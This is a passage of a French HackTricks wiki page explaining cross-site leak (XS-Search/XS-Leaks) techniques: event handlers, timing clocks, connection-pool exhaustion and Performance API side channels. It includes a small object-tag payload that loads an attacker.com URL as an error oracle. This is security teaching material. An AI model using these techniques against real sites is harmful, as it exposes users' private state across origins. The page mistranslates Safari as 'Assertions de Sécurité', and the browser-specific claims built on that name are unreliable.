XS-Search/XS-Leaks
Reading time: 48 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
XS-Search est une méthode utilisée pour extraire des informations cross-origin en exploitant des vulnérabilités de canal auxiliaire.
Les composants clés impliqués dans cette attaque comprennent :
- Web vulnĂ©rable : Le site web cible Ă partir duquel les informations doivent ĂȘtre extraites.
- Web de l'attaquant : Le site web malveillant créé par l'attaquant, que la victime visite, hébergeant l'exploit.
- Méthode d'inclusion : La technique employée pour incorporer le Web vulnérable dans le Web de l'attaquant (par exemple, window.open, iframe, fetch, balise HTML avec href, etc.).
- Technique de fuite : Techniques utilisées pour discerner les différences dans l'état du Web vulnérable en fonction des informations recueillies par la méthode d'inclusion.
- Ătats : Les deux conditions potentielles du Web vulnĂ©rable, que l'attaquant vise Ă distinguer.
- Différences détectables : Variations observables sur lesquelles l'attaquant s'appuie pour inférer l'état du Web vulnérable.
Différences détectables
Plusieurs aspects peuvent ĂȘtre analysĂ©s pour diffĂ©rencier les Ă©tats du Web vulnĂ©rable :
- Code d'état : Distinguer entre divers codes de statut de réponse HTTP cross-origin, comme les erreurs de serveur, les erreurs de client ou les erreurs d'authentification.
- Utilisation de l'API : Identifier l'utilisation des API Web à travers les pages, révélant si une page cross-origin utilise une API Web JavaScript spécifique.
- Redirections : Détecter les navigations vers différentes pages, pas seulement les redirections HTTP mais aussi celles déclenchées par JavaScript ou HTML.
- Contenu de la page : Observer les variations dans le corps de la réponse HTTP ou dans les sous-ressources de la page, comme le nombre de cadres intégrés ou les disparités de taille dans les images.
- En-tĂȘte HTTP : Noter la prĂ©sence ou Ă©ventuellement la valeur d'un en-tĂȘte de rĂ©ponse HTTP spĂ©cifique, y compris des en-tĂȘtes comme X-Frame-Options, Content-Disposition et Cross-Origin-Resource-Policy.
- Temps : Remarquer des disparités de temps cohérentes entre les deux états.
MĂ©thodes d'inclusion
- ĂlĂ©ments HTML : HTML offre divers Ă©lĂ©ments pour l'inclusion de ressources cross-origin, comme des feuilles de style, des images ou des scripts, obligeant le navigateur Ă demander une ressource non-HTML. Une compilation des Ă©lĂ©ments HTML potentiels Ă cet effet peut ĂȘtre trouvĂ©e Ă https://github.com/cure53/HTTPLeaks.
- Cadres : Des éléments tels que iframe, object et embed peuvent intégrer des ressources HTML directement dans la page de l'attaquant. Si la page manque de protection contre le framing, JavaScript peut accéder à l'objet window de la ressource encadrée via la propriété contentWindow.
- Pop-ups : La méthode
window.open
ouvre une ressource dans un nouvel onglet ou une nouvelle fenĂȘtre, fournissant un handle de fenĂȘtre pour que JavaScript interagisse avec des mĂ©thodes et des propriĂ©tĂ©s suivant le SOP. Les pop-ups, souvent utilisĂ©es dans le single sign-on, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la crĂ©ation de pop-ups Ă certaines actions de l'utilisateur. - RequĂȘtes JavaScript : JavaScript permet des requĂȘtes directes vers des ressources cibles en utilisant XMLHttpRequests ou l'API Fetch. Ces mĂ©thodes offrent un contrĂŽle prĂ©cis sur la requĂȘte, comme choisir de suivre les redirections HTTP.
Techniques de fuite
- Gestionnaire d'Ă©vĂ©nements : Une technique de fuite classique dans les XS-Leaks, oĂč des gestionnaires d'Ă©vĂ©nements comme onload et onerror fournissent des informations sur le succĂšs ou l'Ă©chec du chargement des ressources.
- Messages d'erreur : Les exceptions JavaScript ou les pages d'erreur spéciales peuvent fournir des informations de fuite soit directement à partir du message d'erreur, soit en différenciant entre sa présence et son absence.
- Limites globales : Les limitations physiques d'un navigateur, comme la capacité mémoire ou d'autres limites imposées par le navigateur, peuvent signaler lorsqu'un seuil est atteint, servant de technique de fuite.
- Ătat global : Les interactions dĂ©tectables avec les Ă©tats globaux des navigateurs (par exemple, l'interface History) peuvent ĂȘtre exploitĂ©es. Par exemple, le nombre d'entrĂ©es dans l'historique d'un navigateur peut offrir des indices sur les pages cross-origin.
- API de performance : Cette API fournit des détails de performance de la page actuelle, y compris le timing réseau pour le document et les ressources chargées, permettant d'inférer sur les ressources demandées.
- Attributs lisibles : Certains attributs HTML sont lisibles cross-origin et peuvent ĂȘtre utilisĂ©s comme technique de fuite. Par exemple, la propriĂ©tĂ©
window.frame.length
permet Ă JavaScript de compter les cadres inclus dans une page web cross-origin.
Outil & Document XSinator
XSinator est un outil automatique pour vérifier les navigateurs contre plusieurs XS-Leaks connus expliqués dans son document : https://xsinator.com/paper.pdf
Vous pouvez accéder à l'outil à https://xsinator.com/
warning
XS-Leaks exclus : Nous avons dĂ» exclure les XS-Leaks qui reposent sur des service workers car ils interfĂšreraient avec d'autres fuites dans XSinator. De plus, nous avons choisi d'exclure les XS-Leaks qui reposent sur des erreurs de configuration et des bugs dans une application web spĂ©cifique. Par exemple, les erreurs de configuration Cross-Origin Resource Sharing (CORS), les fuites postMessage ou le Cross-Site Scripting. De plus, nous avons exclu les XS-Leaks basĂ©s sur le temps car ils souffrent souvent d'ĂȘtre lents, bruyants et inexactes.
Techniques basées sur le temps
Certaines des techniques suivantes vont utiliser le temps comme partie du processus pour détecter les différences dans les états possibles des pages web. Il existe différentes maniÚres de mesurer le temps dans un navigateur web.
Horloges : L'API performance.now() permet aux développeurs d'obtenir des mesures de temps à haute résolution.
Il existe un nombre considérable d'APIs que les attaquants peuvent abuser pour créer des horloges implicites : Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animations CSS, et d'autres.
Pour plus d'infos : https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Techniques de gestionnaire d'événements
Onload/Onerror
- MĂ©thodes d'inclusion : Cadres, ĂlĂ©ments HTML
- Différence détectable : Code d'état
- Plus d'infos : https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Résumé : si l'on essaie de charger une ressource, les événements onerror/onload sont déclenchés lorsque la ressource est chargée avec succÚs/échoue, il est possible de déterminer le code d'état.
- Exemple de code : https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
L'exemple de code essaie de charger des objets de scripts JS, mais d'autres balises telles que des objets, des feuilles de style, des images, des audios pourraient Ă©galement ĂȘtre utilisĂ©es. De plus, il est Ă©galement possible d'injecter la balise directement et de dĂ©clarer les Ă©vĂ©nements onload
et onerror
à l'intérieur de la balise (au lieu de l'injecter depuis JS).
Il existe Ă©galement une version sans script de cette attaque :
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
Dans ce cas, si example.com/404
n'est pas trouvé, attacker.com/?error
sera chargé.
Onload Timing
- Inclusion Methods: HTML Elements
- Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Summary: L'API performance.now() peut ĂȘtre utilisĂ©e pour mesurer combien de temps il faut pour effectuer une requĂȘte. Cependant, d'autres horloges pourraient ĂȘtre utilisĂ©es, comme l'API PerformanceLongTaskTiming qui peut identifier les tĂąches s'exĂ©cutant pendant plus de 50 ms.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events un autre exemple dans :
Onload Timing + Forced Heavy Task
Cette technique est similaire à la précédente, mais l'attaquant va également forcer une action pour prendre un temps pertinent lorsque la réponse est positive ou négative et mesurer ce temps.
performance.now + Force heavy task
unload/beforeunload Timing
- Inclusion Methods: Frames
- Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Summary: L'horloge SharedArrayBuffer peut ĂȘtre utilisĂ©e pour mesurer combien de temps il faut pour effectuer une requĂȘte. D'autres horloges pourraient ĂȘtre utilisĂ©es.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
Le temps nĂ©cessaire pour rĂ©cupĂ©rer une ressource peut ĂȘtre mesurĂ© en utilisant les Ă©vĂ©nements unload
et beforeunload
. L'événement beforeunload
est déclenché lorsque le navigateur est sur le point de naviguer vers une nouvelle page, tandis que l'événement unload
se produit lorsque la navigation a effectivement lieu. La diffĂ©rence de temps entre ces deux Ă©vĂ©nements peut ĂȘtre calculĂ©e pour dĂ©terminer la durĂ©e que le navigateur a passĂ©e Ă rĂ©cupĂ©rer la ressource.
Sandboxed Frame Timing + onload
- Inclusion Methods: Frames
- Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Summary: L'API performance.now() peut ĂȘtre utilisĂ©e pour mesurer combien de temps il faut pour effectuer une requĂȘte. D'autres horloges pourraient ĂȘtre utilisĂ©es.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Il a Ă©tĂ© observĂ© qu'en l'absence de Framing Protections, le temps nĂ©cessaire pour qu'une page et ses sous-ressources se chargent sur le rĂ©seau peut ĂȘtre mesurĂ© par un attaquant. Cette mesure est gĂ©nĂ©ralement possible car le gestionnaire onload
d'un iframe est déclenché uniquement aprÚs l'achÚvement du chargement des ressources et de l'exécution de JavaScript. Pour contourner la variabilité introduite par l'exécution de scripts, un attaquant pourrait utiliser l'attribut sandbox
dans le <iframe>
. L'inclusion de cet attribut restreint de nombreuses fonctionnalités, notamment l'exécution de JavaScript, facilitant ainsi une mesure qui est principalement influencée par la performance du réseau.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Inclusion Methods: Frames
- Detectable Difference: Contenu de la page
- More info:
- Summary: Si vous pouvez provoquer une erreur sur la page lorsque le contenu correct est accédé et la faire charger correctement lorsque n'importe quel contenu est accédé, alors vous pouvez créer une boucle pour extraire toutes les informations sans mesurer le temps.
- Code Example:
Supposons que vous puissiez insérer la page qui contient le contenu secret dans un Iframe.
Vous pouvez faire rechercher à la victime le fichier qui contient "flag" en utilisant un Iframe (en exploitant un CSRF par exemple). à l'intérieur de l'Iframe, vous savez que l'événement onload sera exécuté toujours au moins une fois. Ensuite, vous pouvez changer l'URL de l'iframe mais en changeant uniquement le contenu du hash à l'intérieur de l'URL.
Par exemple :
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
Si la premiÚre URL a été chargée avec succÚs, alors, lorsque vous changez la partie hash de l'URL, l'événement onload ne sera pas déclenché à nouveau. Mais si la page avait une sorte d'erreur lors du chargement, alors, l'événement onload sera déclenché à nouveau.
Ensuite, vous pouvez distinguer entre une page chargée correctement ou une page qui a une erreur lorsqu'elle est accédée.
Exécution Javascript
- Inclusion Methods: Frames
- Detectable Difference: Contenu de la page
- More info:
- Summary: Si la page retourne le contenu sensible, ou un contenu qui peut ĂȘtre contrĂŽlĂ© par l'utilisateur. L'utilisateur pourrait dĂ©finir un code JS valide dans le cas nĂ©gatif, un chargement Ă chaque essai Ă l'intĂ©rieur des
<script>
tags, donc dans les cas négatifs, le code des attaquants est exécuté, et dans les cas affirmatifs, rien ne sera exécuté. - Code Example:
CORB - Onerror
- Inclusion Methods: ĂlĂ©ments HTML
- Detectable Difference: Code d'Ă©tat & En-tĂȘtes
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Summary: Cross-Origin Read Blocking (CORB) est une mesure de sĂ©curitĂ© qui empĂȘche les pages web de charger certaines ressources sensibles d'origine croisĂ©e pour se protĂ©ger contre des attaques comme Spectre. Cependant, les attaquants peuvent exploiter son comportement protecteur. Lorsqu'une rĂ©ponse soumise Ă CORB retourne un
Content-Type
protégé par CORB avecnosniff
et un code d'Ă©tat2xx
, CORB supprime le corps et les en-tĂȘtes de la rĂ©ponse. Les attaquants observant cela peuvent dĂ©duire la combinaison du code d'Ă©tat (indiquant succĂšs ou erreur) et duContent-Type
(indiquant s'il est protégé par CORB), ce qui peut entraßner une fuite d'informations potentielle. - Code Example:
Consultez le lien d'informations supplémentaires pour plus d'informations sur l'attaque.
onblur
- Inclusion Methods: Frames
- Detectable Difference: Contenu de la page
- More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Summary: Fuite de données sensibles à partir de l'attribut id ou name.
- Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
Il est possible de charger une page à l'intérieur d'un iframe et d'utiliser le #id_value
pour faire focaliser la page sur l'élément de l'iframe avec l'id indiqué, puis si un signal onblur
est déclenché, l'élément ID existe.
Vous pouvez effectuer la mĂȘme attaque avec des tags portal
.
postMessage Broadcasts
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Utilisation de l'API
- More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Summary: Rassembler des informations sensibles à partir d'un postMessage ou utiliser la présence de postMessages comme un oracle pour connaßtre l'état de l'utilisateur sur la page
- Code Example:
Tout code Ă©coutant tous les postMessages.
Les applications utilisent fréquemment des postMessage
broadcasts pour communiquer entre différentes origines. Cependant, cette méthode peut involontairement exposer des informations sensibles si le paramÚtre targetOrigin
n'est pas correctement spĂ©cifiĂ©, permettant Ă n'importe quelle fenĂȘtre de recevoir les messages. De plus, le simple fait de recevoir un message peut agir comme un oracle ; par exemple, certains messages peuvent n'ĂȘtre envoyĂ©s qu'aux utilisateurs qui sont connectĂ©s. Par consĂ©quent, la prĂ©sence ou l'absence de ces messages peut rĂ©vĂ©ler des informations sur l'Ă©tat ou l'identitĂ© de l'utilisateur, comme s'il est authentifiĂ© ou non.
Techniques de Limites Globales
API WebSocket
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Utilisation de l'API
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: Ăpuiser la limite de connexion WebSocket rĂ©vĂšle le nombre de connexions WebSocket d'une page d'origine croisĂ©e.
- Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
Il est possible d'identifier si, et combien, de connexions WebSocket une page cible utilise. Cela permet à un attaquant de détecter les états d'application et de fuir des informations liées au nombre de connexions WebSocket.
Si une origine utilise le nombre maximum d'objets de connexion WebSocket, indĂ©pendamment de l'Ă©tat de leurs connexions, la crĂ©ation de nouveaux objets entraĂźnera des exceptions JavaScript. Pour exĂ©cuter cette attaque, le site de l'attaquant ouvre le site cible dans une fenĂȘtre pop-up ou un iframe et ensuite, aprĂšs que le site web cible a Ă©tĂ© chargĂ©, tente de crĂ©er le maximum de connexions WebSocket possible. Le nombre d'exceptions levĂ©es est le nombre de connexions WebSocket utilisĂ©es par la fenĂȘtre du site web cible.
API de Paiement
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Utilisation de l'API
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: DĂ©tecter la demande de paiement car une seule peut ĂȘtre active Ă la fois.
- Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak
Cette fuite XS permet à un attaquant de détecter quand une page d'origine croisée initie une demande de paiement.
Parce que une seule demande de paiement peut ĂȘtre active Ă la fois, si le site cible utilise l'API de demande de paiement, toute tentative ultĂ©rieure d'utiliser cette API Ă©chouera, et provoquera une exception JavaScript. L'attaquant peut exploiter cela en tentant pĂ©riodiquement d'afficher l'interface utilisateur de l'API de paiement. Si une tentative provoque une exception, le site cible l'utilise actuellement. L'attaquant peut cacher ces tentatives pĂ©riodiques en fermant immĂ©diatement l'interface utilisateur aprĂšs sa crĂ©ation.
ChronomĂ©trage de la Boucle d'ĂvĂ©nements
- Inclusion Methods:
- Detectable Difference: Chronométrage (généralement dû au Contenu de la page, Code d'état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Summary: Mesurer le temps d'exécution d'un web en abusant de la boucle d'événements JS à thread unique.
- Code Example:
Event Loop Blocking + Lazy images
JavaScript fonctionne sur un modĂšle de concurrence de boucle d'Ă©vĂ©nements Ă thread unique, signifiant qu'il ne peut exĂ©cuter qu'une seule tĂąche Ă la fois. Cette caractĂ©ristique peut ĂȘtre exploitĂ©e pour Ă©valuer combien de temps le code d'une autre origine prend pour s'exĂ©cuter. Un attaquant peut mesurer le temps d'exĂ©cution de son propre code dans la boucle d'Ă©vĂ©nements en envoyant continuellement des Ă©vĂ©nements avec des propriĂ©tĂ©s fixes. Ces Ă©vĂ©nements seront traitĂ©s lorsque le pool d'Ă©vĂ©nements est vide. Si d'autres origines envoient Ă©galement des Ă©vĂ©nements au mĂȘme pool, un attaquant peut dĂ©duire le temps qu'il faut pour que ces Ă©vĂ©nements externes s'exĂ©cutent en observant les retards dans l'exĂ©cution de ses propres tĂąches. Cette mĂ©thode de surveillance de la boucle d'Ă©vĂ©nements pour des retards peut rĂ©vĂ©ler le temps d'exĂ©cution du code d'autres origines, exposant potentiellement des informations sensibles.
warning
Dans un chronométrage d'exécution, il est possible d'éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
Boucle d'ĂvĂ©nements OccupĂ©e
- Inclusion Methods:
- Detectable Difference: Chronométrage (généralement dû au Contenu de la page, Code d'état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Summary: Une mĂ©thode pour mesurer le temps d'exĂ©cution d'une opĂ©ration web consiste Ă bloquer intentionnellement la boucle d'Ă©vĂ©nements d'un thread et ensuite Ă chronomĂ©trer combien de temps il faut pour que la boucle d'Ă©vĂ©nements soit Ă nouveau disponible. En insĂ©rant une opĂ©ration de blocage (comme un long calcul ou un appel d'API synchrone) dans la boucle d'Ă©vĂ©nements, et en surveillant le temps qu'il faut pour que le code suivant commence Ă s'exĂ©cuter, on peut dĂ©duire la durĂ©e des tĂąches qui s'exĂ©cutaient dans la boucle d'Ă©vĂ©nements pendant la pĂ©riode de blocage. Cette technique exploite la nature Ă thread unique de la boucle d'Ă©vĂ©nements de JavaScript, oĂč les tĂąches sont exĂ©cutĂ©es sĂ©quentiellement, et peut fournir des informations sur la performance ou le comportement d'autres opĂ©rations partageant le mĂȘme thread.
- Code Example:
Un avantage significatif de la technique de mesure du temps d'exĂ©cution en verrouillant la boucle d'Ă©vĂ©nements est son potentiel Ă contourner l'Isolation de Site. L'Isolation de Site est une fonctionnalitĂ© de sĂ©curitĂ© qui sĂ©pare diffĂ©rents sites en processus distincts, visant Ă empĂȘcher les sites malveillants d'accĂ©der directement aux donnĂ©es sensibles d'autres sites. Cependant, en influençant le chronomĂ©trage d'exĂ©cution d'une autre origine par le biais de la boucle d'Ă©vĂ©nements partagĂ©e, un attaquant peut indirectement extraire des informations sur les activitĂ©s de cette origine. Cette mĂ©thode ne repose pas sur un accĂšs direct aux donnĂ©es de l'autre origine mais plutĂŽt sur l'observation de l'impact des activitĂ©s de cette origine sur la boucle d'Ă©vĂ©nements partagĂ©e, contournant ainsi les barriĂšres de protection Ă©tablies par l'Isolation de Site.
warning
Dans un chronométrage d'exécution, il est possible d'éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
Pool de Connexion
- Inclusion Methods: RequĂȘtes JavaScript
- Detectable Difference: Chronométrage (généralement dû au Contenu de la page, Code d'état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Summary: Un attaquant pourrait verrouiller toutes les sockets sauf 1, charger le web cible et en mĂȘme temps charger une autre page, le temps jusqu'Ă ce que la derniĂšre page commence Ă se charger est le temps que la page cible a mis Ă charger.
- Code Example:
Les navigateurs utilisent des sockets pour la communication avec le serveur, mais en raison des ressources limitées du systÚme d'exploitation et du matériel, les navigateurs sont contraints d'imposer une limite sur le nombre de sockets simultanés. Les attaquants peuvent exploiter cette limitation par les étapes suivantes :
- DĂ©terminer la limite de sockets du navigateur, par exemple, 256 sockets globaux.
- Occuper 255 sockets pendant une durĂ©e prolongĂ©e en initiant 255 requĂȘtes Ă divers hĂŽtes, conçues pour maintenir les connexions ouvertes sans les terminer.
- Utiliser le 256Ăšme socket pour envoyer une requĂȘte Ă la page cible.
- Tenter une 257Ăšme requĂȘte Ă un autre hĂŽte. Ătant donnĂ© que tous les sockets sont utilisĂ©s (comme indiquĂ© aux Ă©tapes 2 et 3), cette requĂȘte sera mise en file d'attente jusqu'Ă ce qu'un socket devienne disponible. Le dĂ©lai avant que cette requĂȘte ne progresse fournit Ă l'attaquant des informations de chronomĂ©trage sur l'activitĂ© rĂ©seau liĂ©e au socket du 256Ăšme (le socket de la page cible). Cette dĂ©duction est possible car les 255 sockets de l'Ă©tape 2 sont toujours engagĂ©s, ce qui implique que tout nouveau socket disponible doit ĂȘtre celui libĂ©rĂ© de l'Ă©tape 3. Le temps nĂ©cessaire pour que le 256Ăšme socket devienne disponible est donc directement liĂ© au temps requis pour que la requĂȘte Ă la page cible se termine.
Pour plus d'infos : https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Pool de Connexion par Destination
- Inclusion Methods: RequĂȘtes JavaScript
- Detectable Difference: Chronométrage (généralement dû au Contenu de la page, Code d'état)
- More info:
- Summary: C'est comme la technique prĂ©cĂ©dente mais au lieu d'utiliser tous les sockets, Google Chrome impose une limite de 6 requĂȘtes simultanĂ©es Ă la mĂȘme origine. Si nous bloquons 5 et ensuite lançons une 6Ăšme requĂȘte, nous pouvons la chronomĂ©trer et si nous avons rĂ©ussi Ă faire en sorte que la page victime envoie plus de requĂȘtes au mĂȘme point de terminaison pour dĂ©tecter un statut de la page, la 6Ăšme requĂȘte prendra plus de temps et nous pouvons le dĂ©tecter.
Techniques de l'API de Performance
L'API de Performance
offre des aperçus sur les métriques de performance des applications web, enrichies par l'API de Chronométrage des Ressources
. L'API de ChronomĂ©trage des Ressources permet de surveiller les temps de requĂȘtes rĂ©seau dĂ©taillĂ©s, tels que la durĂ©e des requĂȘtes. Notamment, lorsque les serveurs incluent l'en-tĂȘte Timing-Allow-Origin: *
dans leurs réponses, des données supplémentaires comme la taille de transfert et le temps de recherche de domaine deviennent disponibles.
Cette richesse de donnĂ©es peut ĂȘtre rĂ©cupĂ©rĂ©e via des mĂ©thodes comme performance.getEntries
ou performance.getEntriesByName
, fournissant une vue complÚte des informations liées à la performance. De plus, l'API facilite la mesure des temps d'exécution en calculant la différence entre les horodatages obtenus à partir de performance.now()
. Cependant, il convient de noter que pour certaines opérations dans des navigateurs comme Chrome, la précision de performance.now()
peut ĂȘtre limitĂ©e aux millisecondes, ce qui pourrait affecter la granularitĂ© des mesures de chronomĂ©trage.
Au-delĂ des mesures de chronomĂ©trage, l'API de Performance peut ĂȘtre exploitĂ©e pour des aperçus liĂ©s Ă la sĂ©curitĂ©. Par exemple, la prĂ©sence ou l'absence de pages dans l'objet performance
dans Chrome peut indiquer l'application de X-Frame-Options
. Plus précisément, si une page est bloquée de son rendu dans un cadre en raison de X-Frame-Options
, elle ne sera pas enregistrée dans l'objet performance
, fournissant un indice subtil sur les politiques de cadre de la page.
Fuite d'Erreur
- Inclusion Methods: Frames, ĂlĂ©ments HTML
- Detectable Difference: Code d'Ă©tat
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Une requĂȘte qui entraĂźne des erreurs ne crĂ©era pas d'entrĂ©e de chronomĂ©trage des ressources.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
Il est possible de diffĂ©rencier entre les codes d'Ă©tat de rĂ©ponse HTTP car les requĂȘtes qui entraĂźnent une erreur ne crĂ©ent pas d'entrĂ©e de performance.
Erreur de Rechargement de Style
- Inclusion Methods: ĂlĂ©ments HTML
- Detectable Difference: Code d'Ă©tat
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: En raison d'un bug du navigateur, les requĂȘtes qui entraĂźnent des erreurs sont chargĂ©es deux fois.
- Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
Dans la technique prĂ©cĂ©dente, deux cas ont Ă©galement Ă©tĂ© identifiĂ©s oĂč des bugs du navigateur dans GC entraĂźnent des ressources Ă©tant chargĂ©es deux fois lorsqu'elles Ă©chouent Ă se charger. Cela entraĂźnera plusieurs entrĂ©es dans l'API de Performance et peut donc ĂȘtre dĂ©tectĂ©.
Erreur de Fusion de RequĂȘtes
- Inclusion Methods: ĂlĂ©ments HTML
- Detectable Difference: Code d'Ă©tat
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Les requĂȘtes qui entraĂźnent une erreur ne peuvent pas ĂȘtre fusionnĂ©es.
- Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
La technique a été trouvée dans un tableau dans le document mentionné mais aucune description de la technique n'a été trouvée. Cependant, vous pouvez trouver le code source en vérifiant https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Fuite de Page Vide
- Inclusion Methods: Frames
- Detectable Difference: Contenu de la page
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Les réponses vides ne créent pas d'entrées de chronométrage des ressources.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
Un attaquant peut dĂ©tecter si une requĂȘte a entraĂźnĂ© un corps de rĂ©ponse HTTP vide car les pages vides ne crĂ©ent pas d'entrĂ©e de performance dans certains navigateurs.
Fuite de l'Auditeur XSS
- Inclusion Methods: Frames
- Detectable Difference: Contenu de la page
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: En utilisant l'Auditeur XSS dans les Assertions de Sécurité, les attaquants peuvent détecter des éléments spécifiques de la page web en observant les modifications dans les réponses lorsque des charges utiles conçues déclenchent le mécanisme de filtrage de l'auditeur.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
Dans les Assertions de SĂ©curitĂ© (SA), l'Auditeur XSS, initialement destinĂ© Ă prĂ©venir les attaques de Cross-Site Scripting (XSS), peut paradoxalement ĂȘtre exploitĂ© pour fuir des informations sensibles. Bien que cette fonctionnalitĂ© intĂ©grĂ©e ait Ă©tĂ© supprimĂ©e de Google Chrome (GC), elle est toujours prĂ©sente dans SA. En 2013, Braun et Heiderich ont dĂ©montrĂ© que l'Auditeur XSS pouvait bloquer involontairement des scripts lĂ©gitimes, entraĂźnant de faux positifs. S'appuyant sur cela, des chercheurs ont dĂ©veloppĂ© des techniques pour extraire des informations et dĂ©tecter un contenu spĂ©cifique sur des pages d'origine croisĂ©e, un concept connu sous le nom de XS-Leaks, initialement rapportĂ© par Terada et Ă©laborĂ© par Heyes dans un article de blog. Bien que ces techniques soient spĂ©cifiques Ă l'Auditeur XSS dans GC, il a Ă©tĂ© dĂ©couvert que dans SA, les pages bloquĂ©es par l'Auditeur XSS ne gĂ©nĂšrent pas d'entrĂ©es dans l'API de Performance, rĂ©vĂ©lant une mĂ©thode par laquelle des informations sensibles pourraient encore ĂȘtre divulguĂ©es.
Fuite X-Frame
- Inclusion Methods: Frames
- Detectable Difference: En-tĂȘte
- More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Summary: Une ressource avec un en-tĂȘte X-Frame-Options ne crĂ©e pas d'entrĂ©e de chronomĂ©trage des ressources.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
Si une page n'est pas autorisĂ©e Ă ĂȘtre rendu dans un iframe, elle ne crĂ©e pas d'entrĂ©e de performance. En consĂ©quence, un attaquant peut dĂ©tecter l'en-tĂȘte de rĂ©ponse X-Frame-Options
.
Il en va de mĂȘme si vous utilisez une balise embed.
Détection de Téléchargement
- Inclusion Methods: Frames
- Detectable Difference: En-tĂȘte
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Les téléchargements ne créent pas d'entrées de chronométrage des ressources dans l'API de Performance.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
De maniĂšre similaire Ă la fuite XS dĂ©crite, une ressource qui est tĂ©lĂ©chargĂ©e en raison de l'en-tĂȘte ContentDisposition ne crĂ©e Ă©galement pas d'entrĂ©e de performance. Cette technique fonctionne dans tous les navigateurs majeurs.
Fuite de DĂ©but de Redirection
- Inclusion Methods: Frames
- Detectable Difference: Redirection
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: L'entrée de chronométrage des ressources fuit le temps de début d'une redirection.
- Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak
Nous avons trouvĂ© un cas de fuite XS qui abuse du comportement de certains navigateurs qui enregistrent trop d'informations pour les requĂȘtes d'origine croisĂ©e. La norme dĂ©finit un sous-ensemble d'attributs qui doivent ĂȘtre dĂ©finis Ă zĂ©ro pour les ressources d'origine croisĂ©e. Cependant, dans SA, il est possible de dĂ©tecter si l'utilisateur est redirigĂ© par la page cible, en interrogeant l'API de Performance et en vĂ©rifiant les donnĂ©es de chronomĂ©trage redirectStart.
Fuite de Durée de Redirection
- Inclusion Methods: API Fetch
- Detectable Difference: Redirection
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: La durée des entrées de chronométrage est négative lorsqu'une redirection se produit.
- Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
Dans GC, la durĂ©e des requĂȘtes qui entraĂźnent une redirection est nĂ©gative et peut donc ĂȘtre distinguĂ©e des requĂȘtes qui ne rĂ©sultent pas en une redirection.
Fuite CORP
- Inclusion Methods: Frames
- Detectable Difference: En-tĂȘte
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Les ressources protégées par CORP ne créent pas d'entrées de chronométrage des ressources.
